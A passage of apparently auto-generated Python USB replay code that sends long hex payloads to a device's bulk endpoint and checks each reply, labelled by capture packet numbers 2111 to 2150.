b\"\\x04\\xA1\\x6C\\x77\\xD4\\x09\\xAE\\xC6\\x99\\x6A\\x77\\xD8\")\n # Generated from packet 2111/2112\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2111/2112\")\n # Generated from packet 2113/2114\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x55\\x56\\x41\\xCA\\x3A\\x18\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x60\\xE9\\x68\\x4E\\x56\\xEA\\x16\\x56\"\n b\"\\xCA\\xA8\\xD8\\xC8\\x0A\\x6D\\x8A\\xFA\\xD7\\x9B\\x32\\x4D\\x4A\\x6E\\x77\\x5D\"\n b\"\\xF4\\x3C\\x2D\\x09\\xFA\\x21\\xE5\\xFF\\xF8\\xA2\\x84\\x85\\x9D\\xA5\\x58\\xFD\"\n b\"\\x23\\xB1\\xDA\\x18\\xF0\\x08\\x37\\x09\\x5A\\x83\\xAC\\x08\\x4E\\x51\\x79\\xCD\"\n b\"\\x5C\\x76\\xB9\\x4C\\x5E\\x56\\x7F\\xE9\\xC2\\x86\\xB8\\xC2\\x1D\\xD5\\x89\\x0C\"\n b\"\\xF4\\x62\\x29\\x8A\\xAD\\xF7\\xD8\\x2B\\x79\\xEE\\xDA\\x71\\x2D\\xD5\\x1C\\x26\"\n b\"\\xA1\\xFE\\x2F\\xB9\\xC7\\xC5\\x56\\x86\\x14\\x7F\\xB9\\x6F\\xFC\\x7C\\xE4\\xF3\"\n b\"\\x3E\\x25\\x7D\\xAB\\xCE\\x98\\xC3\\xFD\\xB2\\xB9\\xD8\\x61\\x56\\x69\\x5C\\xE5\"\n b\"\\xA1\\x82\\xB1\\x12\\x2B\\xC3\\xFB\\x6C\\xE8\\x70\\x71\\x46\\x67\\x5A\\x1D\\x35\"\n b\"\\x53\\xFC\\x87\\xB4\\x84\\xB2\\xD2\\x5B\\xCA\\x5C\\x75\\x10\\xDD\\x6B\\x6E\\x66\"\n b\"\\xE0\\xB6\\xFA\\x9F\\x1A\\x04\\x7E\\x49\\x29\\x29\\xC0\\x45\\x17\\x80\\x46\\xE9\"\n b\"\\xF0\\x29\\x48\\x26\\xD8\\x57\\x99\\xD0\\x60\\x9C\\xAD\\x6A\\x2D\\x46\\x55\\xCD\"\n b\"\\x70\\x77\\x16\\xFD\\x55\\x6A\\x73\\x17\\xF9\\x9F\\x62\\x3A\\x1B\\x47\\x85\\x1D\"\n b\"\\x1B\\x2A\\xA6\\x5D\\x87\\x2C\\xCF\\x62\\xEE\\xD9\\x52\\x34\\x37\\x34\\x5D\\x40\"\n b\"\\x1B\\x90\\x87\\x6C\\x90\\xA8\\x2E\\x86\\xE3\\xF6\\xFF\\x00\\xF0\\x99\\x33\\xF1\"\n b\"\\x1B\\x60\\x0F\\xEA\\x3C\\xC7\\x74\\xB3\\x39\\xB0\\xB2\\xCC\\xAC\\xCB\\xAF\\x48\"\n b\"\\x1D\\x45\\x60\\x62\\xF6\\xB9\\x92\\xB2\\xC4\\x6C\\x4A\\xAA\")\n # Generated from packet 2115/2116\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2115/2116\")\n # Generated from packet 2117/2118\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8B\\x19\\x10\\x0F\\xB4\\x1F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1C\\x3A\\xAE\\xDC\\xD3\\x0C\\xD2\\x2A\"\n b\"\\x22\\xAE\\x88\\x90\\xE0\\x4F\\x08\\x02\\x0B\\xC3\\xE1\\x8C\\x93\\xFA\\x94\\x2F\"\n b\"\\x42\\x44\\x9B\\x81\\x1E\\xDD\\x00\\xF6\\xBF\\x9E\\xBF\\xB4\\xFD\\x81\\x51\\x75\"\n b\"\\xF8\\x04\\xE8\\x25\\x2A\\x87\\x33\\x37\\x7E\\xF1\\x8A\\x7A\\x5B\\xF8\\x2B\\x8F\"\n b\"\\x2A\\xD0\\x37\\x5C\\x66\\xB2\\x00\\xDE\\xC2\\x9F\\xBA\\x67\\x68\\x73\\x7F\\x23\"\n b\"\\x05\\x27\\x1B\\x6A\\x59\\xD9\\xD2\\x69\\x7C\\xB9\\x61\\x83\\xBB\\x1E\\x7D\\x96\"\n b\"\\x58\\x6E\\x02\\xE5\\xD0\\xDF\\x17\\x8F\\x58\\x5D\\x2A\\xFD\\x9E\\x29\\xD9\\xC6\"\n b\"\\xCD\\x04\\x25\\xBB\\xD2\\x9B\\x2E\\x58\\x0B\\xBF\\xBE\\x4B\\x16\\xA4\\x97\\x36\"\n b\"\\x6A\\xB4\\x03\\xD9\\x09\\x92\\x51\\xEC\\xAC\\x6B\\x0A\\x71\\xA5\\x08\\x1F\\x4C\"\n b\"\\x8C\\x83\\xD0\\x20\\x88\\x63\\x54\\x7E\\x52\\xB9\\xCE\\xDD\\x8A\\xBD\\xC9\\xA8\"\n b\"\\x7F\\x36\\x44\\x4C\\xB5\\x64\\x08\\xAB\\xE2\\x24\\x73\\x7F\\x6E\\x91\\x55\\x21\"\n b\"\\xB8\\x7F\\xB1\\x8D\\xCB\\x84\\x61\\xCC\\x2B\\xC0\\xC6\\xB3\\x82\\xB0\\x7A\\x25\"\n b\"\\x7D\\x54\\x12\\x99\\x0D\\xA7\\x55\\x40\\x5D\\xF2\\xA2\\x79\\x09\\xEF\\xB7\\x27\"\n b\"\\xD5\\x46\\x4A\\x7D\\x2A\\x2E\\x3C\\xBB\\x90\\xBB\\x4A\\xE8\\x5B\\xAE\\x4A\\x62\"\n b\"\\x5B\\x54\\x7C\\x6D\\x6D\\x58\\xC4\\x53\\x69\\x3F\\xC8\\x7B\\xEE\\xC8\\x38\\xAD\"\n b\"\\x6E\\xCB\\xFE\\xE2\\x39\\xF9\\x08\\x2D\\x60\\x78\\x6E\\x84\\x04\\x02\\xAE\\xF1\"\n b\"\\x16\\x1E\\x5A\\x2F\\xC8\\xF5\\x0A\\x29\\x67\\xB7\\x88\\xEC\")\n # Generated from packet 2119/2120\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2119/2120\")\n # Generated from packet 2121/2122\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x19\\x01\\x49\\xEA\\xA6\\x13\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3B\\x58\\x3F\\x5C\\x2A\\x08\\x6A\\xE7\"\n b\"\\x20\\x4F\\x30\\x3E\\x19\\x40\\x91\\x0C\\x69\\x86\\xFF\\xBC\\xE1\\xCF\\x04\\xB8\"\n b\"\\x78\\x26\\x2F\\xB9\\x56\\x6D\\xB9\\xEF\\x99\\xF6\\x49\\xDB\\x81\\x44\\x7A\\x0B\"\n b\"\\x0B\\xDF\\x40\\x96\\x35\\x8C\\x4E\\xA6\\xEB\\x5B\\x43\\x3C\\x66\\x8F\\xC2\\xBE\"\n b\"\\x99\\xAA\\xD4\\x23\\x70\\x18\\x4B\\xCE\\x08\\xF9\\x77\\xB5\\x30\\x25\\x7E\\x7F\"\n b\"\\xBA\\x83\\x69\\x6D\\x86\\xC5\\x9F\\x4D\\x45\\x94\\x10\\x55\\xF9\\x66\\xB8\\xBB\"\n b\"\\x77\\xAE\\xCA\\x1A\\x2E\\xBE\\x4C\\xF8\\x3A\\x3E\\x98\\xD3\\x49\\x52\\xCD\\x29\"\n b\"\\x12\\x2B\\x38\\x52\\x5A\\x0E\\x47\\x3E\\x72\\x5C\\x51\\x23\\xC6\\xA9\\x46\\x3C\"\n b\"\\xDF\\x22\\x4B\\xBE\\xFE\\x8F\\xEB\\xBE\\x0D\\xC4\\x16\\x51\\xE6\\xE1\\x45\\xDC\"\n b\"\\x65\\x94\\x33\\x71\\xF5\\x97\\x61\\x1E\\x9E\\xF2\\x1B\\x66\\x06\\x69\\x45\\x99\"\n b\"\\xDA\\xFA\\x3A\\x88\\xD6\\xD3\\xB2\\x65\\xDA\\x68\\x58\\x68\\xFB\\x9D\\xCF\\xEA\"\n b\"\\x92\\x14\\x1A\\xBE\\xC8\\xD9\\x8E\\x0F\\x8D\\x6A\\xD9\\x9C\\x80\\x42\\x03\\x59\"\n b\"\\x54\\x89\\xEB\\x79\\x40\\xE0\\xC0\\x8A\\x2B\\x95\\x1E\\xB4\\x5F\\xEE\\x87\\x8E\"\n b\"\\x78\\x7A\\x3C\\xDF\\x34\\xE8\\x70\\x24\\x9A\\x81\\xDE\\x55\\xEF\\x1A\\xF3\\xC7\"\n b\"\\xF1\\x5A\\x62\\xC1\\xFE\\xE5\\x29\\xAC\\x0F\\x86\\x38\\x9B\\x25\\x4F\\x80\\xBD\"\n b\"\\x90\\x4A\\x2C\\x81\\x38\\x5C\\xEB\\xEA\\xC0\\xCD\\xF1\\x19\\x56\\xAF\\x5E\\x13\"\n b\"\\x1E\\xA9\\x93\\x9D\\x83\\xA7\\x8B\\xD8\\x73\\xFE\\x2A\\xF3\")\n # Generated from packet 2123/2124\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2123/2124\")\n # Generated from packet 2125/2126\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD5\\x70\\x77\\x79\\x66\\x4F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9A\\xBA\\x97\\x18\\x6A\\xCB\\x1D\\x12\"\n b\"\\x51\\x7C\\x7A\\x2E\\xB3\\x2F\\x58\\x95\\x4C\\x1D\\x1C\\xEF\\x7C\\xEC\\x76\\x81\"\n b\"\\x63\\xB5\\xFC\\x06\\xDE\\x0D\\x9A\\x11\\xDF\\x2A\\xAA\\x1C\\xAA\\x6D\\xAA\\x64\"\n b\"\\x87\\x23\\xC1\\x02\\xCE\\xE2\\x4A\\x5A\\x2D\\x65\\x1D\\x9D\\x7A\\xDE\\x22\\x07\"\n b\"\\xFF\\x28\\x91\\x9E\\x8B\\xF9\\xDF\\xC9\\x85\\xAD\\x0B\\x96\\x01\\x25\\x74\\x5A\"\n b\"\\x48\\x52\\x30\\xAF\\xF2\\xC0\\xFD\\x79\\x6E\\xB5\\x8D\\x17\\x53\\x29\\x1C\\x3F\"\n b\"\\xCF\\xD5\\xFB\\xA7\\x13\\xE3\\x44\\x30\\xA4\\xE2\\xA1\\x66\\x30\\x75\\x4D\\xE6\"\n b\"\\x75\\xB8\\x8F\\xA6\\x4E\\x70\\x9E\\xAB\\x19\\x7D\\xE2\\x66\\x54\\x0E\\x79\\x1B\"\n b\"\\x60\\xD3\\x04\\x09\\xDC\\x24\\xEB\\x12\\xFD\\x2F\\x12\\x61\\x9A\\x65\\x87\\x0C\"\n b\"\\x89\\xD0\\x3A\\x78\\x53\\x37\\xC9\\xD7\\x58\\x2B\\xDE\\xAE\\xE2\\x98\\x46\\x54\"\n b\"\\xBF\\x88\\x42\\xC7\\x9D\\x9B\\x85\\x34\\xA6\\x2D\\x5E\\x22\\x5C\\xD3\\x84\\x29\"\n b\"\\x1C\\xC9\\x06\\xC8\\x48\\xC7\\x1B\\x43\\x6B\\x47\\x00\\x1A\\x67\\x96\\xAB\\x78\"\n b\"\\xD5\\xE1\\x6F\\x67\\x8A\\x7E\\x17\\x0E\\xAB\\x94\\x49\\x89\\xBF\\x24\\x4D\\x23\"\n b\"\\x31\\x46\\xE5\\x79\\x71\\x33\\xF8\\x0A\\x57\\xED\\x1D\\x8A\\x6B\\xF0\\x5A\\x15\"\n b\"\\x7A\\xD1\\xF0\\x46\\x6C\\x98\\xE2\\xC1\\xF6\\x6E\\x45\\xAC\\x3E\\xDE\\xD2\\xB8\"\n b\"\\xE7\\xEC\\x92\\x3D\\x9E\\xC1\\x3E\\x20\\x3E\\xD7\\x0F\\x8F\\x28\\x7A\\xC3\\xA9\"\n b\"\\x2C\\xC5\\x9B\\x8B\\x99\\x17\\xF4\\xAC\\x04\\x98\\xEC\\xEB\")\n # Generated from packet 2127/2128\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2127/2128\")\n # Generated from packet 2129/2130\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x85\\x31\\x90\\x48\\x53\\x71\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4F\\xBB\\xAA\\xF2\\xF4\\xCD\\xA5\\x7C\"\n b\"\\xC5\\xFB\\xB3\\x79\\x0E\\xF0\\xDA\\x6B\\xC6\\xDE\\x32\\x54\\x79\\x1F\\xDF\\x86\"\n b\"\\x46\\x2E\\x4E\\x6B\\x4A\\xD9\\xB5\\x3D\\x37\\xC0\\xF6\\xFE\\x90\\xEC\\x1F\\x40\"\n b\"\\x8B\\x49\\x41\\xA4\\x54\\xE1\\x10\\xDD\\x57\\x63\\x20\\x8B\\xE0\\x46\\xC1\\x1B\"\n b\"\\xA4\\x3E\\x4F\\x64\\xCE\\x29\\xED\\x42\\xAE\\x95\\x91\\x35\\x93\\xD9\\x7B\\x34\"\n b\"\\x61\\x9D\\xBB\\x26\\xCF\\x65\\x0E\\x30\\x08\\x83\\x7C\\x48\\xBD\\xBF\\x2E\\xCE\"\n b\"\\x28\\xB3\\x96\\xE7\\x14\\xD4\\xFB\\xD2\\xD0\\x9B\\xDB\\x02\\x90\\x3F\\x9E\\x1F\"\n b\"\\xB9\\x32\\xCC\\x4F\\x48\\xCC\\x39\\x4F\\x8C\\x2E\\xBF\\x9A\\x6F\\x03\\xFE\\xD3\"\n b\"\\xD3\\x19\\x19\\x60\\x44\\xF5\\x0C\\x1B\\x7D\\xDB\\xBD\\xA1\\xA9\\x0D\\x48\\x52\"\n b\"\\xE2\\x7A\\xD1\\x4E\\xE8\\x9C\\x83\\xC6\\x62\\x8C\\x8D\\xCC\\x4E\\xE6\\xF4\\x8E\"\n b\"\\x32\\xD4\\x5C\\x51\\xC8\\xEB\\x7B\\xF8\\xC6\\xA2\\xF5\\xD8\\x79\\x17\\x65\\xD1\"\n b\"\\x77\\xAE\\xC2\\xC1\\x0C\\x5A\\x63\\xCC\\x82\\xC3\\x9E\\xA2\\x71\\x7C\\x4D\\x7C\"\n b\"\\x2B\\xB7\\xDD\\x54\\x22\\xD5\\x8A\\x7C\\x81\\x0F\\x2C\\xE3\\x67\\x5D\\xAB\\xC9\"\n b\"\\x56\\xBC\\x05\\x2D\\xAB\\x99\\x83\\x41\\x1B\\x50\\x6C\\xA5\\xFE\\xD4\\xE3\\x27\"\n b\"\\x15\\xD8\\x6C\\xD5\\x15\\xA8\\x60\\xBD\\x0B\\x4C\\x5C\\xB7\\x8C\\xCB\\x46\\x90\"\n b\"\\x36\\x5E\\x0F\\xD4\\xFB\\x86\\x5F\\x40\\x58\\x06\\x93\\xFC\\xA9\\xFB\\xDF\\xF6\"\n b\"\\xF2\\x90\\x28\\xF2\\x76\\x5F\\x2C\\xC8\\xA8\\x82\\xF8\\xC9\")\n # Generated from packet 2131/2132\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2131/2132\")\n # Generated from packet 2133/2134\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x49\\xF8\\x58\\xC5\\x33\\x78\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x33\\xD4\\xE5\\x76\\x09\\x79\\x4C\\x00\"\n b\"\\xB8\\xB4\\xAB\\x85\\x48\\x09\\x8D\\x3C\\x46\\xB3\\xFE\\x6A\\x08\\x20\\xA4\\x7D\"\n b\"\\x89\\x34\\x80\\x14\\xD9\\x7B\\x13\\x13\\xA1\\xD5\\x83\\x65\\x58\\x20\\x34\\x0D\"\n b\"\\xBE\\x17\\xAE\\xB4\\x81\\x49\\x8F\\x18\\xDC\\x7B\\xB6\\x30\\x8F\\x1D\\xFF\\x95\"\n b\"\\xA9\\xBC\\x8C\\x92\\x75\\x1F\\x37\\x99\\xA2\\x37\\xAC\\xA0\\x0F\\xA1\\x8F\\x99\"\n b\"\\xD1\\xD3\\xB4\\x5E\\xF4\\xF7\\x6A\\x35\\x19\\xBF\\x69\\x21\\x5A\\xC3\\xFF\\x29\"\n b\"\\xCD\\x02\\x83\\x79\\x76\\xA2\\x9A\\x69\\x78\\x44\\xE3\\x84\\x96\\x42\\x3A\\x70\"\n b\"\\x9B\\x3B\\x65\\x62\\xD3\\x29\\x58\\xF2\\xF6\\xD5\\x10\\x96\\xE9\\x95\\x4D\\x5E\"\n b\"\\xC1\\xE3\\x61\\xB3\\xFF\\x46\\xAE\\xCA\\x55\\x88\\x7C\\xDA\\x31\\x64\\xA3\\xA9\"\n b\"\\x58\\xC9\\x91\\xE2\\x18\\xF0\\x19\\x0E\\x60\\x5E\\x20\\x87\\x72\\x87\\xF1\\x4D\"\n b\"\\x45\\x59\\xB0\\x5B\\x0C\\xA8\\x58\\x31\\xEC\\x85\\xC1\\x51\\x4C\\xB0\\x7A\\xC0\"\n b\"\\x79\\x97\\xE7\\x6E\\x49\\x8E\\x1F\\x8A\\xA1\\xDB\\xDB\\xCA\\x99\\x17\\x54\\x72\"\n b\"\\x68\\x39\\x56\\x77\\xD2\\xB9\\xFB\\x70\\xE9\\xAA\\x61\\x27\\x4F\\x1C\\x22\\x07\"\n b\"\\x5B\\x2A\\x6C\\x97\\xDA\\xF1\\x61\\xD9\\xFA\\x43\\xF9\\x45\\x34\\x76\\x4B\\x0B\"\n b\"\\x98\\x10\\x44\\x4B\\xB0\\x9C\\x79\\xDA\\x5B\\x7A\\x02\\x99\\x3F\\x08\\x12\\x56\"\n b\"\\x2F\\xBF\\x6E\\xDF\\x2B\\x4B\\xD3\\xB2\\x46\\xE3\\xF9\\x2D\\xEE\\xB2\\x4C\\x28\"\n b\"\\x42\\x8E\\x92\\x37\\x99\\xBC\\xC4\\x6B\\x41\\x06\\x92\\x93\")\n # Generated from packet 2135/2136\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2135/2136\")\n # Generated from packet 2137/2138\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x09\\x43\\xFA\\x9A\\x0B\\x19\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8F\\x62\\x6D\\x87\\x18\\xFB\\xC5\\x86\"\n b\"\\xFF\\x4E\\x6C\\x85\\xD4\\x8B\\xE7\\x79\\xB3\\x61\\xA3\\xAD\\x54\\x54\\xEF\\x25\"\n b\"\\x75\\x93\\x06\\x43\\xFA\\x8E\\x20\\xEA\\xB5\\x1E\\xB2\\x63\\x28\\x8D\\x4D\\x16\"\n b\"\\xE7\\xCF\\x96\\xF5\\xF6\\x24\\xA7\\x82\\x2D\\x79\\x6C\\xB2\\xCA\\xA3\\x9F\\xE3\"\n b\"\\x3D\\xAB\\xC2\\x9C\\x01\\x56\\x0D\\x4F\\xEB\\x51\\x6D\\x84\\xE0\\xD5\\xDF\\x0A\"\n b\"\\xC2\\xDA\\x7F\\x43\\xCC\\x5D\\xFB\\xC0\\xE4\\xB8\\x47\\x18\\x89\\xF6\\x6C\\x61\"\n b\"\\xD9\\x25\\x3E\\x35\\x31\\x3F\\x06\\x80\\x10\\x15\\x32\\x10\\x07\\x94\\xA2\\xF0\"\n b\"\\x7E\\xEB\\xFD\\x7A\\x26\\xE7\\x33\\xEA\\x47\\x95\\x08\\x0A\\x5D\\xBD\\x25\\x86\"\n b\"\\xD9\\xB4\\xCD\\x02\\x47\\xA8\\x8F\\x67\\x36\\x68\\xDF\\xE3\\x36\\xDE\\x96\\x45\"\n b\"\\xD1\\x26\\x77\\xBF\\x51\\xD5\\x53\\x7E\\xCA\\x69\\xF9\\x7D\\xE8\\xCC\\xF0\\xD1\"\n b\"\\x82\\xC1\\x89\\x99\\xA8\\x5C\\xB7\\xBC\\xDA\\xBF\\x17\\xED\\x74\\x95\\x7B\\x35\"\n b\"\\x12\\xE8\\xEC\\xE8\\xC7\\x72\\xB9\\x94\\xC1\\x16\\x79\\xED\\x72\\x02\\x22\\x52\"\n b\"\\x5D\\x43\\x94\\x7C\\x25\\x28\\x15\\xB9\\x99\\xCF\\x7E\\xA7\\x03\\x7B\\xC7\\xB6\"\n b\"\\x8B\\xAE\\xB2\\x9F\\x5F\\xEC\\x26\\xF0\\x98\\x33\\x09\\x72\\x52\\x92\\x4C\\x5A\"\n b\"\\x85\\x3F\\xE9\\x6D\\xC0\\xAC\\x6C\\x2A\\xA8\\x18\\xA5\\xF1\\x35\\x97\\x75\\xDC\"\n b\"\\x82\\x10\\xF9\\x03\\x20\\xB8\\x2E\\x9C\\x18\\xB9\\xA9\\x39\\xB1\\x98\\xBF\\x71\"\n b\"\\x4E\\x23\\xAA\\x55\\xC3\\x51\\xC3\\xF4\\x2D\\x5E\\x70\\x37\")\n # Generated from packet 2139/2140\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2139/2140\")\n # Generated from packet 2141/2142\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x76\\x78\\x52\\x7C\\xCB\\x63\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\xF8\\x87\\x57\\x9B\\x8A\\x12\\xC6\"\n b\"\\xF1\\xD2\\x9F\\x17\\x0C\\x9B\\xE8\\x74\\x2F\\x77\\x1B\\xB4\\x7D\\x16\\x00\\xED\"\n b\"\\x1E\\x3C\\x1D\\x33\\xF6\\x70\\x62\\xCC\\xE8\\xB1\\x85\\x97\\xCE\\xEE\\x44\\x90\"\n b\"\\x73\\xE9\\x72\\xD9\\x12\\x47\\x84\\x3A\\x34\\x10\\x6B\\xEC\\xEB\\xDC\\x30\\x0C\"\n b\"\\x74\\x4F\\x48\\xBD\\x5B\\x7E\\x22\\xF4\\xD0\\x4E\\xB4\\xBE\\xCA\\x44\\x98\\x85\"\n b\"\\x61\\x0B\\xF8\\xBD\\x9C\\x11\\xC5\\x79\\x51\\xD9\\xDE\\xDB\\xBB\\x07\\xAA\\xEB\"\n b\"\\xFD\\xC7\\xDE\\x1B\\xA7\\x75\\x2A\\x6C\\xA2\\x70\\xDC\\xFD\\x43\\x9E\\xC3\\xBC\"\n b\"\\x96\\x8D\\x22\\x77\\x30\\xF3\\x74\\xB8\\x36\\x7E\\x58\\x0B\\x00\\x75\\xFB\\x37\"\n b\"\\xEE\\xA2\\x87\\x25\\x57\\x4E\\xFA\\x87\\xCA\\x0A\\xB6\\xF6\\x93\\x94\\x13\\x4E\"\n b\"\\x14\\x2F\\x19\\xEB\\x5F\\xEF\\xAB\\xF7\\x0D\\xEF\\x52\\x74\\x4C\\x26\\x45\\x95\"\n b\"\\x71\\x9F\\x3B\\x7C\\x00\\x61\\xB2\\x93\\x57\\xEA\\xF8\\x91\\x1E\\x1F\\x21\\x16\"\n b\"\\x44\\x71\\x9C\\xD1\\xB3\\xDA\\x48\\xD1\\xF1\\x0F\\xD6\\xEA\\xF2\\x86\\xDE\\x14\"\n b\"\\xAF\\x0A\\x5C\\x4A\\x1E\\xF3\\x2F\\xB3\\x68\\xDC\\x6E\\x05\\x19\\x45\\x4F\\xB7\"\n b\"\\xC7\\xE6\\xD6\\x58\\x8C\\x06\\x8F\\xDC\\xB4\\xCE\\x9A\\x3F\\xE0\\x0B\\x84\\xAA\"\n b\"\\x2B\\x09\\x45\\xCD\\x6E\\x14\\x99\\x43\\xDD\\xF0\\x1B\\x1F\\x5F\\x08\\x79\\x86\"\n b\"\\xEA\\x9D\\xC8\\xFB\\x5F\\x01\\xFB\\xA5\\xC5\\xA3\\xB2\\x72\\xBC\\x23\\x72\\xCB\"\n b\"\\x5B\\xB0\\xCE\\xB0\\xC5\\x5F\\xF1\\xF2\\xAD\\x36\\x9F\\x99\")\n # Generated from packet 2143/2144\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2143/2144\")\n # Generated from packet 2145/2146\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x11\\xDF\\x9E\\xEF\\xA1\\x52\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1D\\x1E\\x09\\x41\\x5E\\xA4\\x23\\x8C\"\n b\"\\x40\\x4E\\x84\\xBB\\x1A\\x9E\\x7E\\xA8\\x67\\x07\\x8A\\x08\\x24\\xE7\\x9C\\x4A\"\n b\"\\xF8\\x49\\x87\\x04\\xA7\\x19\\xAB\\x2E\\x9E\\xCE\\xA1\\x8B\\x50\\x10\\x57\\xDA\"\n b\"\\x9D\\xD6\\xB4\\xD0\\x1B\\xA0\\x00\\x41\\x6C\\xBE\\xC9\\x1D\\x7B\\xF6\\xE6\\x3E\"\n b\"\\x27\\x41\\xAD\\x03\\xED\\xC8\\xE6\\x39\\x22\\x42\\x3A\\x4B\\x06\\x87\\x04\\x10\"\n b\"\\x3E\\xBD\\xA1\\xB7\\xCE\\xDB\\x2E\\x48\\x56\\x8D\\x21\\xF5\\x51\\x94\\x1C\\xC8\"\n b\"\\x42\\x32\\x47\\x41\\xA2\\x25\\x0C\\xF0\\x10\\xA1\\x8E\\xCF\\xAC\\xB7\\xB6\\x1C\"\n b\"\\x5C\\x0A\\x6D\\x17\\x6A\\xFE\\x0C\\xA6\\x82\\x1B\\x56\\x77\\xB2\\x50\\x3B\\xAC\"\n b\"\\xBB\\xEF\\x48\\xAB\\x0B\\xDB\\xD4\\xF7\\xBD\\x97\\xEA\\x93\\x64\\xF9\\xC3\\xF1\"\n b\"\\x24\\x45\\x79\\xAD\\xC0\\x83\\xC8\\xB2\\xFE\\xCD\\x8C\\x33\\x6D\\x29\\x64\\x04\"\n b\"\\x58\\x26\\x70\\x67\\xE9\\x17\\xFE\\xA8\\x7E\\x07\\xB7\\xFE\\xAB\\x46\\xB3\\xC7\"\n b\"\\x77\\xFF\\xB9\\xE5\\xD8\\xD7\\xE3\\xA2\\x89\\x13\\x9E\\xBF\\x66\\xF5\\x5B\\xF9\"\n b\"\\xB5\\xEB\\x1D\\x71\\x95\\x46\\x88\\x48\\xCA\\xCB\\x41\\x61\\xE8\\x09\\x38\\xB1\"\n b\"\\xE8\\x89\\x23\\x56\\x95\\x57\\x95\\xF1\\x76\\x79\\xB3\\x32\\xAA\\x12\\x42\\xEC\"\n b\"\\x76\\xBF\\x07\\x1D\\x60\\x38\\x43\\x3B\\x5A\\xBC\\x5D\\xFD\\x43\\x17\\x95\\x00\"\n b\"\\x9B\\x78\\xAA\\xAA\\x73\\x40\\xB4\\x0F\\x3E\\xC6\\x6B\\x37\\xD3\\x54\\x6E\\x56\"\n b\"\\x41\\xFE\\xB2\\xC3\\xFD\\x71\\xBE\\x2C\\x46\\xC4\\x65\\x4A\")\n # Generated from packet 2147/2148\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2147/2148\")\n # Generated from packet 2149/2150\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x75\\xD5\\x67\\x51\\x10\\x54\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x89\\xF9\\x2F\\x8C\\xE1\\xD6\\x9B\\x86\"\n b\"\\x85\\xCB\\xF7\\xE2\\x0A\\x28\\x3C\\xA8\\x5A\\x2D\\xFC\\xDF\\x13\\xAE\\xD8\\xB8\"\n b\"\\xE0\\xD5\\x0F\\x24\\xEC\\x1E\\x4D\\xF9\\xCD\\x7F\\x9A\\x7A\\xEC\\xB1\\xB8\\x61\"\n b\"\\x18\\xD3\\x67\\x2B\\xC8\\x56\\xB3\\xCA\\x3B\\x92\\xF7\\xD8\\x14\\x74\\x1D\\xB6\"\n b\"\\x13\\xC6\\xE2\\x1C\\x83\\xBF\\xE3\\x47\\xF2\\x57\\x7A\\x7C\\x31\\xEB\\x3B\\x4B\"\n b\"\\x31\\x99\\x8A\\x20\\x89\\xF3\\xD8\\x80\\x69\\xDC\\xFF\\xC7\\xEF\\x65\\x32\\xFF\"\n b\"\\x09\\x21\\x4E\\x71\\x1A\\x2C\\x91\\x8A\\x62\\x67\\x88\\x53\\xE6\\x86\\xDB\\x45\"\n b\"\\xAD\\x5F\\xB1\\x3E\\x66\\x5A\\x44\\xCB\\xAE\\x7A\\x30\\x13\\xCC\\x0D\\xC9\\x49\"\n b\"\\x99\\x74\\x58\\x23\\x30\\x75\\xE8\\xA3\\x7B\\xA0\\xB7\\x46\\xF1\\x46\\x33\\xD9\"\n b\"\\x67\\xB9\\x59\\xE1\\xE1\\x79\\x13\\x3F\\x5D\\x63\\x50\\x2A\\x99\\xB5\\x60\\x94\"\n 